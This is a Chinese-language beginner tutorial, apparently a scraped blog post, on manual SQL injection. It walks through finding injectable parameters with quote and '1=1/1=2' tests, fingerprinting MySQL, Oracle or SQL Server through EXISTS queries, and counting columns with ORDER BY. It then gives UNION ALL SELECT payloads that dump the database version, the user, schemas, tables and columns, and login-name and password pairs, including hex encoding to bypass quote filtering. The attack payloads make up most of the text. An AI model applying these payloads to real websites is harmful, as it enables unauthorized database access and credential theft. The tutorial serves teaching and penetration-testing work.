手工sql注入简单入门
1、判断是否可以注入:
数字型:
1.1在参数后面加一个引号',如果页面报数字number错误,则一定不是sql注入点;如果报数据库比如mysql、oracle之类的错误,则是一个sql注入点。
1.2 在参数后面加上 依次加上 and 1=1 和 and 1=2,如果加上 and 1=1 还能正常显示原来的数据,并且加上 and 1=2时,原来数据不显示或者报错时,则是一个sql注入点
字符型:
1.3 在参数后面加上 依次加上 ' and '1'='1 和 ' and '1'='2 ,如果加上 ' and '1'='1 还能正常显示原来的数据,并且加上 ' and '1'='2 时,原来数据不显示或者报错时,则是一个sql注入点
备注:
因为字符型参数时,代码会加入引号'',注入时要消耗掉这个引号
搜索型:
1.4 在搜索框内 依次填入 a%' and '%'=' 和 a%' and 't'=' ,如果加上 ' and '1'='1 还能正常显示原来的数据,并且加上 ' and '1'='2 时,原来数据不显示或者报错时,则是一个sql注入点
备注:
因为字符型参数时,代码会加入'%%',注入时要消耗掉这个引号
伪静态:
1.5 url带.html时,在.html前面加一个',根据页面报错判断,如果报400,肯定不是伪静态,如果报200或者500,则可能是伪静态,可以输入
and 1=1 和 and 1=2,和数字型一样判断

2、判断数据库类型方法:
①使用exists函数判断表是否存在,使用用法 and exists(select * from fq_user),如果存在则会返回数据,否则无数据返回
SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS ( SELECT * FROM information_schema.INNODB_CMP) #1表示表的第一个字段(mysql数据库)
②根据数据库不同类型自带的系统数据库表,如以下类型数据库:
mysql: 自带有information_schema数据库的表tables,在url插入AND EXISTS (SELECT * FROM information_schema.tables) #mysql 5 以上
完整sql: SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS (SELECT * FROM information_schema.tables)
-----------------------------------------------------------
oracle: 在url插入and exists(select * from dba_users)
完整sql: select * from sys_user_info dd where dd.login_name='bj18612832966' and exists(select * from dba_users )
-----------------------------------------------------------
sqlserver: 在url插入and exists(select * from sysobjects)
完整sql: select * from sys_user_info dd where dd.login_name='bj18612832966' and exists(select * from sysobjects )
分析:如果原请求有返回数据,原sql:SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776,那么加上AND EXISTS (SELECT * FROM information_schema.INNODB_CMPtables),即SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS (SELECT * FROM information_schema.tables)后仍有数据返回,说明是mysql数据库,否则不是mysql数据库
3、判断数据库当前表有多少个字段:
使用order by函数判断表是否有多少个字段,在url请求后面插入order by 5,表示猜测表有5个字段以上,如果表少于5个字段会报错,通过改变order by number 后面的数据number来验证表有多少个字段
完整sql:SELECT * FROM fq_wealth_user cc ORDER BY 25 #表示猜测表fq_wealth_user有25个字段以上(含25)
4、union all注入
参数为数字型union all 注入方法:
在url参数后面插入union all select 1,2,3,4 from dual如果是mysql或者sqlserver,则可以不用from dual(dual为虚拟表,可以随便填写数据库存在的表,如information_schema.tables),另外union all select 后面的字段数(1,2,3,4这些字段,可以随便写数字)必须与联合表(前面order by 确认的表字段数量一致)
完整sql:SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.id=1 union all select 1,2 from dual
----------------------------------------
参数为字符型union all 注入方法:
在url参数后面插入 ' union all select 1,2,3,4 from dual--%20如果是mysql或者sqlserver,则可以不用from dual(dual为虚拟表,可以随便填写数据库存在的表,如information_schema.tables),另外union all select 后面的字段数(1,2,3,4这些字段,可以随便写数字)必须与联合表(前面order by 确认的表字段数量一致)
完整sql:SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name= '13143683775 ' union all select 1,2 from dual --%20 '
备注:
1、--%20表示:--是为了注释后面的程序自带的引号’,%20表示空格

----------------------------------------------------------
查询数据库的版本号、用户、当前数据库、所有数据库
版本号:version()
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select user(),2 from dual
数据库用户:user()
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select version(),2 from dual
当前数据库:函数database()
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select database(),2 from dual
所有数据库:information_schema.SCHEMATA 表中 SCHEMA_name字段为数据库实例
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select SCHEMA_name,2 from information_schema.SCHEMATA
所有数据库表:information_schema.tables 表中 table_name
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select table_name,2 from information_schema.tables
所有数据库字段:information_schema.columns 表中 column_name
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select column_name,2 from information_schema.columns
所有数据库表的字段:information_schema.columns 表中 table_name、column_name
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select concat(table_name,'|',column_name),2 from information_schema.columns
备注:
1、select concat(login_name,passwd) from tb_user_info 会把login_name,passwd两个字段连接成一个字段显示
2、select concat(login_name,'|',passwd) from tb_user_info 会把login_name,passwd两个字段连接成一个字段,并中间用“|”隔开显示
代码有引号屏蔽时,使用16进制规避引号:
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select concat(table_name,0x7C,column_name),2 from information_schema.columns
备注:
1、mysql使用函数 select hex('|')查出|的16进制表示
2、在select hex('|')查出的结果中前面加上0x表示十六进制的|,在sql中使用,如上面sql,select hex('|')查出|的十六进制结果是7C,| 的十六进制为加上0x后的0x7C
手工sql注入简单入门的更多相关文章
- SQL注入攻防入门详解
=============安全性篇目录============== 本文转载 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机 ...
- SQL注入攻防入门详解(2)
SQL注入攻防入门详解 =============安全性篇目录============== 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱 ...
- [转]SQL注入攻防入门详解
原文地址:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html =============安全性篇目录============ ...
- 【转载】SQL注入攻防入门详解
滴答…滴答…的雨,欢迎大家光临我的博客. 学习是快乐的,教育是枯燥的. 博客园 首页 博问 闪存 联系 订阅 管理 随笔-58 评论-2028 文章-5 trackbacks-0 站长 ...
- 【转载】sql注入之入门
原文在:https://smelond.com MySql基础语法 mysql无非就是增删改查 mysql数据库结构: 数据库 test,test1 表名 admin,manage 数据 id,use ...
- 手工sql注入(重点)
sql 子查询:() select goods_name from goods where goods_id=(select max(goods_id) from goods): 联合查询:selec ...
- sqlmap查找SQL注入漏洞入门
1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...
- 初学JDBC,防SQL注入简单示例
在JDBC简单封装的基础上实现 public class UserDao{ public static void testGetUser(String userName) throws Excepti ...
- 【web安全】第六弹:手工SQL注入详解
前一段时间,在对SQL注入有了新的理解之后,写了这篇文章.本来准备投稿,因为内容过于基础被打回来了,想想屯着也没意思,发出来发出来~~本来有好多图的,但是博客园发图很麻烦,word文档的链接会贴在文章 ...
随机推荐
- Go Revel - Jobs(任务调度模块)
revel提供了一个框架用于脱离请求流程的执行异步任务,一般用来执行经常运行的任务.更新缓存数据或发送邮件等. ##启用 该框架作为一个可选的revel模块,默认并不启用.需要更改应用配置来启用它: ...
- android开发(49) Android 下拉刷新的实现。使用 SwipeRefreshLayout 代替 pull-to-refesh
概述 谷歌官方推出了SwipeRefreshLayout 来实现下拉刷新的效果.对比以前我们常用的 pull-to-refesh ,这个方案显得更加的简单方便. 关联项目引用(管理依赖) 在你的 应用 ...
- ssh免密码登录配置方法
每次输密码很麻烦,免密登录设置方法按照<ssh免密码登录配置方法>即可,简单来说: 1.终端上执行ssh-keygen -t rsa,生成密钥对(存放在/home/usera/.ssh). ...
- Please install [clang](http://clang.llvm.org/) or check configuration `clang.executable`
解决方法: 1.安装clang 第一步:首先打开VScode编辑器 第二步:点击左侧“应用商店”栏 第三步:在“应用商店搜索拓展”栏输入关键字“clang” 第四步:安装提示的“C/c++ clang ...
- [SLAM] 03. ORB-SLAM2
一年后再读SLAM~ 行业有了不少工程实践方面的突破 一.链接:https://www.zhihu.com/question/53571648/answer/176732257 目前来说,受到业界肯定 ...
- [IR] Bigtable: A Distributed Storage System for Semi-Structured Data
良心博文: http://blog.csdn.net/opennaive/article/details/7532589 这里只是基础简述 众人说: 链接:http://blog.csdn.net/o ...
- 创建预编译头 Debug 正常 Release Link Error:预编译头已存在,使用第一个 PCH
创建预编译头 Debug 正常 Release Link Error Main.obj : error LNK2005: ___@@_PchSym_@00@UmfilkilqUdrmzkkUkilqU ...
- sklearn参数优化方法
学习器模型中一般有两个参数:一类参数可以从数据中学习估计得到,还有一类参数无法从数据中估计,只能靠人的经验进行指定,后一类参数就叫超参数 比如,支持向量机里的C,Kernel,gama,朴素贝叶斯里的 ...
- ElasticSearch入门 第七篇:分词
这是ElasticSearch 2.4 版本系列的第七篇: ElasticSearch入门 第一篇:Windows下安装ElasticSearch ElasticSearch入门 第二篇:集群配置 E ...
- asp.net利用存储过程分页代码
-最通用的分页存储过程 -- 获取指定页的数据 CREATE PROCEDURE Pagination ), -- 表名 ) = '*', -- 需要返回的列 )='', -- 排序的字段名 , -- ...